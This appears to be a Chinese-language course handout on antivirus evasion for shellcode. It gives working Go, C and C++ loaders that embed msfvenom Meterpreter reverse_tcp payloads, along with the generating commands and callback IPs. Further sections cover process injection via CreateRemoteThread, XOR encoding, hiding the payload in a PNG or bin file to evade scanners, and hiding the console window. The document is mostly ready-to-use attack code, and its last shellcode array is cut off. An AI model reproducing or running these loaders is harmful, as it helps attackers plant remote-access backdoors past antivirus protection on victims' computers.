Shellcode免杀

- **Shellcode免杀**
  - shellcodeLoder-go
  - shellcodeLoder-nim
  - Shellcode混淆免杀
  - Shellcode分离免杀
- **C++加载shellcode**
  - C++loader-1
  - C++loader-2
  - C++loader-3
  - C++loader-4
  - C++loader-5
  - C++loader-6
  - asm_loader_c
  - asm_loader_cpp
  - InjectShellcodeXor
- **Python加载Shellcode**
  - base_loader.py
  - loader_ms.py
  - loader_b64.py
  - loader_http.py
  - loader_png.py
  - loader_reg.py
  - loader_re.py

#2课时

shellcodeLoder-go

```go
package main

// 定义一个main包

import (
    "os"
    "syscall"
    "unsafe"
)

//os包中的 API 主要可以帮助我们使用操作系统中的文件系统、权限系统、环境变量、系统进程以及系统信号
//syscall包包含一个指向底层操作系统原语的接口
```

```
13 //unsafe 是类型安全的操作,如当使用系统调用和Go结构必须具有与C结构相同的内存布局时，只能使用unsafe，也就是指针操作
14
15 const (
16     MEM_COMMIT             = 0x1000
17     MEM_RESERVE            = 0x2000
18     PAGE_EXECUTE_READWRITE = 0x40
19 )
20
21 // 定义一个常量 并初始化变量的值
22 // MEM_COMMIT: 为特定的页面区域分配内存中或磁盘的页面文件中的物理内
23 // MEM_RESERVE: 保存地址而不分配物理存储，也就是保留这一个地址随时可利用;
24 // PAGE_EXECUTE_READWRITE: 可读可写可执行模式，可以理解为申请权限;
25
26 // 定义变量 并分别赋值
27 // 1. 通过syscall.MustLoadDLL方法调用kernel32.dll和ntdll.dll
28 // 2. 使用kernel32.dll调用ViretualAlloc函数
29 // 3. 使用ntdll.dll调用RtCopyMemory函数 ntdll.dll是重要的Windows NT内核级文件。描述了windows本地NTAPI的接口。当Windows启动时，ntdll.dll就驻留在内存中特定的写保护区域，使别的程序无法占用这个内存区域
30 // 4. 初始化shellcode_buf数组，同时是字节类型
31
32 var (
33     kernel32     = syscall.MustLoadDLL("kernel32.dll")   //调用kernel32.dll
34     ntdll        = syscall.MustLoadDLL("ntdll.dll")    //调用ntdll.dll
35     VirtualAlloc  = kernel32.MustFindProc("VirtualAlloc") //使用kernel32.dll调用ViretualAlloc函数
36     RtlCopyMemory = ntdll.MustFindProc("RtlCopyMemory")   //使用ntdll调用RtCopyMemory函数
37     // msfvenom生成的shellcode
38     // msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.58.133 lport=6666 -f c
39     shellcode_buf = []byte{
```

```
40          0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xcc,
0x00, 0x00, 0x00, 0x41, 0x51, 0x41, 0x50, 0x52,
41          0x48, 0x31, 0xd2, 0x65, 0x48, 0x8b, 0x52,
0x60, 0x48, 0x8b, 0x52, 0x18, 0x51, 0x48, 0x8b,
42          0x52, 0x20, 0x56, 0x4d, 0x31, 0xc9, 0x48,
0x8b, 0x72, 0x50, 0x48, 0x0f, 0xb7, 0x4a, 0x4a,
43          0x48, 0x31, 0xc0, 0xac, 0x3c, 0x61, 0x7c,
0x02, 0x2c, 0x20, 0x41, 0xc1, 0xc9, 0x0d, 0x41,
44          0x01, 0xc1, 0xe2, 0xed, 0x52, 0x48, 0x8b,
0x52, 0x20, 0x41, 0x51, 0x8b, 0x42, 0x3c, 0x48,
45          0x01, 0xd0, 0x66, 0x81, 0x78, 0x18, 0x0b,
0x02, 0x0f, 0x85, 0x72, 0x00, 0x00, 0x00, 0x8b,
46          0x80, 0x88, 0x00, 0x00, 0x00, 0x48, 0x85,
0xc0, 0x74, 0x67, 0x48, 0x01, 0xd0, 0x50, 0x44,
47          0x8b, 0x40, 0x20, 0x49, 0x01, 0xd0, 0x8b,
0x48, 0x18, 0xe3, 0x56, 0x48, 0xff, 0xc9, 0x4d,
48          0x31, 0xc9, 0x41, 0x8b, 0x34, 0x88, 0x48,
0x01, 0xd6, 0x48, 0x31, 0xc0, 0x41, 0xc1, 0xc9,
49          0x0d, 0xac, 0x41, 0x01, 0xc1, 0x38, 0xe0,
0x75, 0xf1, 0x4c, 0x03, 0x4c, 0x24, 0x08, 0x45,
50          0x39, 0xd1, 0x75, 0xd8, 0x58, 0x44, 0x8b,
0x40, 0x24, 0x49, 0x01, 0xd0, 0x66, 0x41, 0x8b,
51          0x0c, 0x48, 0x44, 0x8b, 0x40, 0x1c, 0x49,
0x01, 0xd0, 0x41, 0x8b, 0x04, 0x88, 0x48, 0x01,
52          0xd0, 0x41, 0x58, 0x41, 0x58, 0x5e, 0x59,
0x5a, 0x41, 0x58, 0x41, 0x59, 0x41, 0x5a, 0x48,
53          0x83, 0xec, 0x20, 0x41, 0x52, 0xff, 0xe0,
0x58, 0x41, 0x59, 0x5a, 0x48, 0x8b, 0x12, 0xe9,
54          0x4b, 0xff, 0xff, 0xff, 0x5d, 0x49, 0xbe,
0x77, 0x73, 0x32, 0x5f, 0x33, 0x32, 0x00, 0x00,
55          0x41, 0x56, 0x49, 0x89, 0xe6, 0x48, 0x81,
0xec, 0xa0, 0x01, 0x00, 0x00, 0x49, 0x89, 0xe5,
56          0x49, 0xbc, 0x02, 0x00, 0x0d, 0x05, 0x01,
0x75, 0x2f, 0xe7, 0x41, 0x54, 0x49, 0x89, 0xe4,
57          0x4c, 0x89, 0xf1, 0x41, 0xba, 0x4c, 0x77,
0x26, 0x07, 0xff, 0xd5, 0x4c, 0x89, 0xea, 0x68,
58          0x01, 0x01, 0x00, 0x00, 0x59, 0x41, 0xba,
0x29, 0x80, 0x6b, 0x00, 0xff, 0xd5, 0x6a, 0x0a,
59          0x41, 0x5e, 0x50, 0x50, 0x4d, 0x31, 0xc9,
0x4d, 0x31, 0xc0, 0x48, 0xff, 0xc0, 0x48, 0x89,
60          0xc2, 0x48, 0xff, 0xc0, 0x48, 0x89, 0xc1,
0x41, 0xba, 0xea, 0x0f, 0xdf, 0xe0, 0xff, 0xd5,
61          0x48, 0x89, 0xc7, 0x6a, 0x10, 0x41, 0x58,
0x4c, 0x89, 0xe2, 0x48, 0x89, 0xf9, 0x41, 0xba,
```

```
        0x99, 0xa5, 0x74, 0x61, 0xff, 0xd5, 0x85,
0xc0, 0x74, 0x0a, 0x49, 0xff, 0xce, 0x75, 0xe5,
        0xe8, 0x93, 0x00, 0x00, 0x00, 0x48, 0x83,
0xec, 0x10, 0x48, 0x89, 0xe2, 0x4d, 0x31, 0xc9,
        0x6a, 0x04, 0x41, 0x58, 0x48, 0x89, 0xf9,
0x41, 0xba, 0x02, 0xd9, 0xc8, 0x5f, 0xff, 0xd5,
        0x83, 0xf8, 0x00, 0x7e, 0x55, 0x48, 0x83,
0xc4, 0x20, 0x5e, 0x89, 0xf6, 0x6a, 0x40, 0x41,
        0x59, 0x68, 0x00, 0x10, 0x00, 0x00, 0x41,
0x58, 0x48, 0x89, 0xf2, 0x48, 0x31, 0xc9, 0x41,
        0xba, 0x58, 0xa4, 0x53, 0xe5, 0xff, 0xd5,
0x48, 0x89, 0xc3, 0x49, 0x89, 0xc7, 0x4d, 0x31,
        0xc9, 0x49, 0x89, 0xf0, 0x48, 0x89, 0xda,
0x48, 0x89, 0xf9, 0x41, 0xba, 0x02, 0xd9, 0xc8,
        0x5f, 0xff, 0xd5, 0x83, 0xf8, 0x00, 0x7d,
0x28, 0x58, 0x41, 0x57, 0x59, 0x68, 0x00, 0x40,
        0x00, 0x00, 0x41, 0x58, 0x6a, 0x00, 0x5a,
0x41, 0xba, 0x0b, 0x2f, 0x0f, 0x30, 0xff, 0xd5,
        0x57, 0x59, 0x41, 0xba, 0x75, 0x6e, 0x4d,
0x61, 0xff, 0xd5, 0x49, 0xff, 0xce, 0xe9, 0x3c,
        0xff, 0xff, 0xff, 0x48, 0x01, 0xc3, 0x48,
0x29, 0xc6, 0x48, 0x85, 0xf6, 0x75, 0xb4, 0x41,
        0xff, 0xe7, 0x58, 0x6a, 0x00, 0x59, 0x49,
0xc7, 0xc2, 0xf0, 0xb5, 0xa2, 0x56, 0xff, 0xd5,
    }
)

// 定义错误处理函数
func checkErr(err error) {
    if err != nil { //如果内存调用出现错误，可以报出错误
        if err.Error() != "The operation completed
successfully." { //如果调用dll系统发出警告，但是程序运行成
功，则不进行警报
            println(err.Error()) //报出具体错误
            os.Exit(1)
        }
    }
}

func main() { // 定义main函数
    shellcode := shellcode_buf

    // 调用VirtualAlloc为shellcode申请一块内存
```

```
    addr, _, err := VirtualAlloc.Call(0, uintptr(len(shellcode)), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE)

    // 判断申请的内存空间为空，则调用checkErr函数，并打印错误
    if addr == 0 {
        checkErr(err)
    }

    // 调用RtlCopyMemory来将shellcode加载进内存当中
    _, _, err = RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&shellcode[0])), uintptr(len(shellcode)))
    checkErr(err)

    // syscall来运行shellcode，跳转到shellcode首地址开始执行
    syscall.Syscall(addr, 0, 0, 0, 0)
}
```

shellcodeLoder-nim

- Nim安装

https://nim-lang.org/install.html

下载压缩包解压后，放入安装目录后执行finish.exe 进行环境安装配置

Nim加载shellcode

> https://github.com/aeverj/NimShellCodeLoader

编译：直接通过vs编译后放入项目首文件夹

Shellcode混淆免杀

- shellcode混淆简介

其实就是把我们的shellcode进行加密：如base64，xor，AES等等

- 具体实现过程

1. 生成shellcode
2. 把shellcode加密
3. 构造shellcode加载器
4. shellcode加载器把我们加密过后的shellcode解密

5. 执行程序，上线C2

总的来说，和普通的shellcode加载器没区别，只是将shellcode做了一些编码，以及向对应查杀的函数做了一些处理，不同语言实现的功能和方法都不同

Shellcode分离免杀

分离免杀实际上就是将我们的shellcode和加载器分离，首先通过加载器读取文件中的shellcode，然后加载进内存执行，在这个过程中我们的shellcode并不在加载器中，而是一个静态文件(图片，二进制文件等),所以杀软并不会查杀这些静态文件，仅仅对加载器查杀，那么我们只需考虑对加载器进行免杀即可。

C++加载shellcode

C++loader-1

> VirtualAlloc

```
#include <Windows.h>
#include <stdio.h>
#include <string.h>
#pragma comment(linker,"/subsystem:\"Windows\" /entry:\"mainCRTStartup\"")  //去除黑色框框（一）

// msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=139.155.49.43 lport=6666 -f c

unsigned char buf[] =
"\xfc\x48\x83\xe4\xf0\xe8\xcc\x00\x00\x00\x41\x51\x41\x50\x52"
"\x48\x31\xd2\x51\x65\x48\x8b\x52\x60\x56\x48\x8b\x52\x18\x48"
"\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9"
"\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41"
"\x01\xc1\xe2\xed\x52\x48\x8b\x52\x20\x41\x51\x8b\x42\x3c\x48"
"\x01\xd0\x66\x81\x78\x18\x0b\x02\x0f\x85\x72\x00\x00\x00\x8b"
"\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b"
```

```
"\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x4d\x31\xc9\x48"
"\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x48\x31\xc0\x41\xc1\xc9"
"\x0d\xac\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45"
"\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b"
"\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01"
"\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48"
"\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9"
"\x4b\xff\xff\xff\x5d\x49\xbe\x77\x73\x32\x5f\x33\x32\x00\x00"
"\x41\x56\x49\x89\xe6\x48\x81\xec\xa0\x01\x00\x00\x49\x89\xe5"
"\x49\xbc\x02\x00\x1a\x0a\x8b\x9b\x31\x2b\x41\x54\x49\x89\xe4"
"\x4c\x89\xf1\x41\xba\x4c\x77\x26\x07\xff\xd5\x4c\x89\xea\x68"
"\x01\x01\x00\x00\x59\x41\xba\x29\x80\x6b\x00\xff\xd5\x6a\x0a"
"\x41\x5e\x50\x50\x4d\x31\xc9\x4d\x31\xc0\x48\xff\xc0\x48\x89"
"\xc2\x48\xff\xc0\x48\x89\xc1\x41\xba\xea\x0f\xdf\xe0\xff\xd5"
"\x48\x89\xc7\x6a\x10\x41\x58\x4c\x89\xe2\x48\x89\xf9\x41\xba"
"\x99\xa5\x74\x61\xff\xd5\x85\xc0\x74\x0a\x49\xff\xce\x75\xe5"
"\xe8\x93\x00\x00\x00\x48\x83\xec\x10\x48\x89\xe2\x4d\x31\xc9"
"\x6a\x04\x41\x58\x48\x89\xf9\x41\xba\x02\xd9\xc8\x5f\xff\xd5"
"\x83\xf8\x00\x7e\x55\x48\x83\xc4\x20\x5e\x89\xf6\x6a\x40\x41"
"\x59\x68\x00\x10\x00\x00\x41\x58\x48\x89\xf2\x48\x31\xc9\x41"
"\xba\x58\xa4\x53\xe5\xff\xd5\x48\x89\xc3\x49\x89\xc7\x4d\x31"
"\xc9\x49\x89\xf0\x48\x89\xda\x48\x89\xf9\x41\xba\x02\xd9\xc8"
```

```
"\x5f\xff\xd5\x83\xf8\x00\x7d\x28\x58\x41\x57\x59\x68\x00\x40"
"\x00\x00\x41\x58\x6a\x00\x5a\x41\xba\x0b\x2f\x0f\x30\xff\xd5"
"\x57\x59\x41\xba\x75\x6e\x4d\x61\xff\xd5\x49\xff\xce\xe9\x3c"
"\xff\xff\xff\x48\x01\xc3\x48\x29\xc6\x48\x85\xf6\x75\xb4\x41"
"\xff\xe7\x58\x6a\x00\x59\x49\xc7\xc2\xf0\xb5\xa2\x56\xff\xd5";

int main() {
//  void* Memory; //等价于PVOID
    PVOID Memory = NULL;
    Memory=VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
//  ShowWindow(GetConsoleWindow(), SW_HIDE);  //去除黑色框框（二）
    memcpy(Memory, buf, sizeof(buf));
    ((void(*)())Memory)();
}
```

C++loader-2

> VirtualAlloc

typedef 声明

```
#include <windows.h>
#include <stdio.h>
typedef void(_stdcall* CODE)();  // 定义一个函数指针类型CODE
#pragma comment(linker,"/subsystem:\"windows\" /entry:\"mainCRTStartup\"")

unsigned char buf[] =
"\xfc\x48\x83\xe4\xf0\xe8\xcc\x00\x00\x00\x41\x51\x41\x50\x52"
......
"\xff\xe7\x58\x6a\x00\x59\x49\xc7\xc2\xf0\xb5\xa2\x56\xff\xd5";

int main()
{
```

```
    PVOID p = NULL;
    p = VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    if (p == NULL)
    {
        return 0;
    }
    memcpy(p, buf, sizeof(buf));
    CODE code = (CODE)p;
    code();
}
```

C++loader-3

> 把shellcode放入 mingy.png 文件中，与 shellcode 加载器放到同一个目录。

> 分离免杀 + VirtualAlloc

```
#include <Windows.h>
#include <stdlib.h>
#include <stdio.h>
#define _CRT_SECURE_NO_WARNINGS
#pragma warning(disable : 4996)
#pragma comment(linker,"/subsystem:\"windows\" /entry:\"mainCRTStartup\"")

int main()
{
    FILE* fp;
    size_t size;
    unsigned char* buffer;

    fp = fopen("mingy.png", "rb");
    fseek(fp, 0, SEEK_END);
    size = ftell(fp);
    fseek(fp, 0, SEEK_SET);
    buffer = (unsigned char*)malloc(size);
    fread(buffer, size, 1, fp);
    void* exec = VirtualAlloc(0, size, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    memcpy(exec, buffer, size);
    ((void(*) ())exec)();
```

```
23
24      return 0;
25  }
```

C++loader-4

> CreateFileA + VirtualAlloc

```
1  #include <stdio.h>
2  #include <windows.h>
3
4  int main(int argc, char* argv[])
5  {
6      //打开要执行的ShellCode文件
7      HANDLE hFile = CreateFileA("payload.bin",
   GENERIC_READ, 0, NULL, OPEN_ALWAYS, 0, NULL);
8      if (hFile == INVALID_HANDLE_VALUE)
9      {
10         printf("CreateFile Error");
11         return -1;
12     }
13
14     DWORD dwSize = 0;
15     //获取ShellCode的总大小
16     dwSize = GetFileSize(hFile, NULL);
17     //PVOID lpAddress = NULL;
18     //申请一块可读可写可执行的内存
19     LPVOID lpAddress = VirtualAlloc(NULL, dwSize,
   MEM_COMMIT, PAGE_EXECUTE_READWRITE);
20     if (lpAddress == NULL)
21     {
22         printf("VirtualAlloc EWrror");
23         CloseHandle(hFile);
24         return -1;
25     }
26
27     //将文件读取到申请的内存中
28     DWORD dwRead = 0;
29     ReadFile(hFile, lpAddress, dwSize, &dwRead, 0);
30
31     //执行ShellCode
32     ((void(*)())lpAddress)();
33     return 0;
```

```
}
```

C++loader-5

> shellcode进程注入 + OpenProcess + VirtualAllocEx + CreateRemoteThread

```
#include <stdio.h>
#include <windows.h>

unsigned char ShellCode[] = "shellcode代码";

BOOL InjectShellCode(int Pid)
{
    HANDLE Handle, remoteThread;
    PVOID remoteBuffer;

    Handle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, Pid);

    remoteBuffer = VirtualAllocEx(Handle, NULL, sizeof(ShellCode), (MEM_RESERVE | MEM_COMMIT), PAGE_EXECUTE_READWRITE);
    WriteProcessMemory(Handle, remoteBuffer, ShellCode, sizeof(ShellCode), NULL);
    remoteThread = CreateRemoteThread(Handle, NULL, 0, (LPTHREAD_START_ROUTINE)remoteBuffer, NULL, 0, NULL);
    CloseHandle(Handle);
}

int main(int argc, char *argv[])
{
    char *p;
    int pid;
    errno = 0;
    long conv = strtol(argv[1], &p, 10);

    // 检查错误：例如，输入的是字符串而不是整数，或者输入的整数超过int范围
    if (errno != 0 || *p != '\0' || conv > INT_MAX || conv < INT_MIN) {
        return 1;
    } else {
```

```
        pid = conv;
        printf("%d\n", pid);
    }
    InjectShellCode(pid);
    return 0;
}
```

C++loader-6

xor异或 + VirtualAlloc + CreateThread

shellcode_xor.cpp

```
#include <stdio.h>
#include <Windows.h>

unsigned char buf[] =
"\xfc\x48\x83\xe4\xf0\xe8\xcc\x00\x00\x00\x41\x51\x41\x50\x52"
"\x48\x31\xd2\x51\x65\x48\x8b\x52\x60\x56\x48\x8b\x52\x18\x48"
"\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9"
"\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41"
"\x01\xc1\xe2\xed\x52\x48\x8b\x52\x20\x41\x51\x8b\x42\x3c\x48"
"\x01\xd0\x66\x81\x78\x18\x0b\x02\x0f\x85\x72\x00\x00\x00\x8b"
"\xff\xe7\x58\x6a\x00\x59\x49\xc7\xc2\xf0\xb5\xa2\x56\xff\xd5";


int main(int argc, char* argv[])
{
    int password = 0xAA;
    unsigned char enShellCode[10000];
    unsigned char deShellCode[10000];
    int nLen = sizeof(buf) - 1;
    // encode
    for (int i = 0; i<nLen; i++)
    {
        enShellCode[i] = buf[i] ^ password;
```

```
        printf("\\x%02x", enShellCode[i]);
    }

    printf("\n");

    // decode
    for (int i = 0; i<nLen; i++)
    {
        deShellCode[i] = enShellCode[i] ^ password;
        printf("\\x%x", deShellCode[i]);
    }

    system("pause");
    return 0;
}

```

loader-7

```
#include <Windows.h>
#include <iostream>

int main(int argc,TCHAR * argv[]){
    int shellcode_size = 0;
    DWORD dwThreadId;
    HANDLE hThread;

    unsigned char buf[] = "xor异或后的shellcode代码";

    shellcode_size = sizeof(buf);

    // XOR异或
    for(int i = 0;i<shellcode_size; i++){
        buf[i] ^= 0xAA;
    }

    char * shellcode = (char *)VirtualAlloc(
        NULL, //基址
        shellcode_size, //内存大小
        MEM_COMMIT, //内存页状态
        PAGE_EXECUTE_READWRITE   //可读可写可执行
        );

    // 将shellcode复制到可读可写的内存页中
```

```
    CopyMemory(shellcode, buf, shellcode_size);

    hThread = CreateThread(
        0,  // 安全描述符
        0,  // 栈的大小
        (LPTHREAD_START_ROUTINE)shellcode,  // 函数
        0,  // 参数
        0,  // 线程标志
        0   // 线程ID
        );

    // 一直等待线程执行结束
    WaitForSingleObject(hThread,INFINITE);

    return 0;
}
```

asm_loader_c

```
#include <Windows.h>
#include <stdio.h>
#include <string.h>

void main() {

unsigned char buf[] =
"\xfc\x48\x83\xe4\xf0\xe8\xcc\x00\x00\x00\x41\x51\x41\x50\x52"
"\x48\x31\xd2\x51\x65\x48\x8b\x52\x60\x56\x48\x8b\x52\x18\x48"
"\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9"
"\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41"
"\x01\xc1\xe2\xed\x52\x48\x8b\x52\x20\x41\x51\x8b\x42\x3c\x48"
"\x01\xd0\x66\x81\x78\x18\x0b\x02\x0f\x85\x72\x00\x00\x00\x8b"
"\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b"
"\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x4d\x31\xc9\x48"
"\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x48\x31\xc0\x41\xc1\xc9"
```

```
"\x0d\xac\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45"
"\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b"
"\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01"
"\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48"
"\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9"
"\x4b\xff\xff\xff\x5d\x49\xbe\x77\x73\x32\x5f\x33\x32\x00\x00"
"\x41\x56\x49\x89\xe6\x48\x81\xec\xa0\x01\x00\x00\x49\x89\xe5"
"\x49\xbc\x02\x00\x1a\x0a\x7c\x47\x2d\x1c\x41\x54\x49\x89\xe4"
"\x4c\x89\xf1\x41\xba\x4c\x77\x26\x07\xff\xd5\x4c\x89\xea\x68"
"\x01\x01\x00\x00\x59\x41\xba\x29\x80\x6b\x00\xff\xd5\x6a\x0a"
"\x41\x5e\x50\x50\x4d\x31\xc9\x4d\x31\xc0\x48\xff\xc0\x48\x89"
"\xc2\x48\xff\xc0\x48\x89\xc1\x41\xba\xea\x0f\xdf\xe0\xff\xd5"
"\x48\x89\xc7\x6a\x10\x41\x58\x4c\x89\xe2\x48\x89\xf9\x41\xba"
"\x99\xa5\x74\x61\xff\xd5\x85\xc0\x74\x0a\x49\xff\xce\x75\xe5"
"\xe8\x93\x00\x00\x00\x48\x83\xec\x10\x48\x89\xe2\x4d\x31\xc9"
"\x6a\x04\x41\x58\x48\x89\xf9\x41\xba\x02\xd9\xc8\x5f\xff\xd5"
"\x83\xf8\x00\x7e\x55\x48\x83\xc4\x20\x5e\x89\xf6\x6a\x40\x41"
"\x59\x68\x00\x10\x00\x00\x41\x58\x48\x89\xf2\x48\x31\xc9\x41"
"\xba\x58\xa4\x53\xe5\xff\xd5\x48\x89\xc3\x49\x89\xc7\x4d\x31"
"\xc9\x49\x89\xf0\x48\x89\xda\x48\x89\xf9\x41\xba\x02\xd9\xc8"
"\x5f\xff\xd5\x83\xf8\x00\x7d\x28\x58\x41\x57\x59\x68\x00\x40"
"\x00\x00\x41\x58\x6a\x00\x5a\x41\xba\x0b\x2f\x0f\x30\xff\xd5"
```

```
"\x57\x59\x41\xba\x75\x6e\x4d\x61\xff\xd5\x49\xff\xce\xe9\x3c"
"\xff\xff\xff\x48\x01\xc3\x48\x29\xc6\x48\x85\xf6\x75\xb4\x41"
"\xff\xe7\x58\x6a\x00\x59\x49\xc7\xc2\xf0\xb5\xa2\x56\xff\xd5";

int b;
void *exec = VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
memcpy(exec, buf, sizeof(buf));
__asm__(
    "pushq %1\n\t"
    "ret\n\t"
    :"=r"(b)
    :"r"(exec)
);

// 使用内联汇编插入两条汇编指令
// push 和 ret.push 指令将操作数压入栈顶，然后ret指令将rip指向栈顶
// rip 寄存器：指令指针，指向下一个要执行的指令

return 0;
}
```

asm_loader_cpp

> vs x64 编译

```
#include <Windows.h>
#include <stdio.h>
#include <string.h>

```

```
unsigned char buf[] =
"\xfc\x48\x83\xe4\xf0\xe8\xc8\x00\x00\x00\x41\x51\x41\x
50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\
x52\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a
\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x2
0\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x
8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x66\x81\x78\x18\x0b\
x02\x75\x72\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67
\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd
0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x
31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\
xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58
\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44\x8
b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0\x41\x
58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48\x83\
xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9
\x4f\xff\xff\xff\x5d\x6a\x00\x49\xbe\x77\x69\x6e\x69\x6
e\x65\x74\x00\x41\x56\x49\x89\xe6\x4c\x89\xf1\x41\xba\x
4c\x77\x26\x07\xff\xd5\x48\x31\xc9\x48\x31\xd2\x4d\x31\
xc0\x4d\x31\xc9\x41\x50\x41\x50\x41\xba\x3a\x56\x79\xa7
\xff\xd5\xeb\x73\x5a\x48\x89\xc1\x41\xb8\x28\x03\x00\x0
0\x4d\x31\xc9\x41\x51\x41\x51\x6a\x03\x41\x51\x41\xba\x
57\x89\x9f\xc6\xff\xd5\xeb\x59\x5b\x48\x89\xc1\x48\x31\
xd2\x49\x89\xd8\x4d\x31\xc9\x52\x68\x00\x02\x40\x84\x52
\x52\x41\xba\xeb\x55\x2e\x3b\xff\xd5\x48\x89\xc6\x48\x8
3\xc3\x50\x6a\x0a\x5f\x48\x89\xf1\x48\x89\xda\x49\xc7\x
c0\xff\xff\xff\xff\x4d\x31\xc9\x52\x52\x41\xba\x2d\x06\
x18\x7b\xff\xd5\x85\xc0\x0f\x85\x9d\x01\x00\x00\x48\xff
\xcf\x0f\x84\x8c\x01\x00\x00\xeb\xd3\xe9\xe4\x01\x00\x0
0\xe8\xa2\xff\xff\xff\x2f\x4d\x5a\x68\x4e\x00\x35\x4f\x
21\x50\x25\x40\x41\x50\x5b\x34\x5c\x50\x5a\x58\x35\x34\
x28\x50\x5e\x29\x37\x43\x43\x29\x37\x7d\x24\x45\x49\x43
\x41\x52\x2d\x53\x54\x41\x4e\x44\x41\x52\x44\x2d\x41\x4
e\x54\x49\x56\x49\x52\x55\x53\x2d\x54\x45\x53\x54\x2d\x
46\x49\x4c\x45\x21\x24\x48\x2b\x48\x2a\x00\x35\x4f\x21\
x50\x25\x00\x55\x73\x65\x72\x2d\x41\x67\x65\x6e\x74\x3a
\x20\x4d\x6f\x7a\x69\x6c\x6c\x61\x2f\x35\x2e\x30\x20\x2
8\x63\x6f\x6d\x70\x61\x74\x69\x62\x6c\x65\x3b\x20\x4d\x
53\x49\x45\x20\x39\x2e\x30\x3b\x20\x57\x69\x6e\x64\x6f\
x77\x73\x20\x4e\x54\x20\x36\x2e\x30\x3b\x20\x54\x72\x69
\x64\x65\x6e\x74\x2f\x35\x2e\x30\x3b\x20\x42\x4f\x31\x4
9\x45\x38\x5f\x76\x31\x3b\x45\x4e\x55\x53\x29\x0d\x0a\x
00\x35\x4f\x21\x50\x25\x40\x41\x50\x5b\x34\x5c\x50\x5a\
x58\x35\x34\x28\x50\x5e\x29\x37\x43\x43\x29\x37\x7d\x24
\x45\x49\x43\x41\x52\x2d\x53\x54\x41\x4e\x44\x41\x52\x4
```

```
4\x2d\x41\x4e\x54\x49\x56\x49\x52\x55\x53\x2d\x54\x45\x
53\x54\x2d\x46\x49\x4c\x45\x21\x24\x48\x2b\x48\x2a\x00\
x35\x4f\x21\x50\x25\x40\x41\x50\x5b\x34\x5c\x50\x5a\x58
\x35\x34\x28\x50\x5e\x29\x37\x43\x43\x29\x37\x7d\x24\x4
5\x49\x43\x41\x52\x2d\x53\x54\x41\x4e\x44\x41\x52\x44\x
2d\x41\x4e\x54\x49\x56\x49\x52\x55\x53\x2d\x54\x45\x53\
x54\x2d\x46\x49\x4c\x45\x21\x24\x48\x2b\x48\x2a\x00\x35
\x4f\x21\x50\x25\x40\x41\x50\x5b\x34\x5c\x50\x5a\x58\x3
5\x34\x28\x50\x5e\x29\x37\x43\x43\x29\x37\x7d\x24\x45\x
49\x43\x41\x52\x2d\x53\x54\x41\x4e\x44\x41\x52\x44\x2d\
x41\x4e\x54\x49\x56\x49\x52\x55\x53\x2d\x54\x45\x53\x54
\x2d\x46\x49\x4c\x45\x21\x24\x48\x2b\x48\x2a\x00\x35\x4
f\x21\x50\x25\x00\x41\xbe\xf0\xb5\xa2\x56\xff\xd5\x48\x
